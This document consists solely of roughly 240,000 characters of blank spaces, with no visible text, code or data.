                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           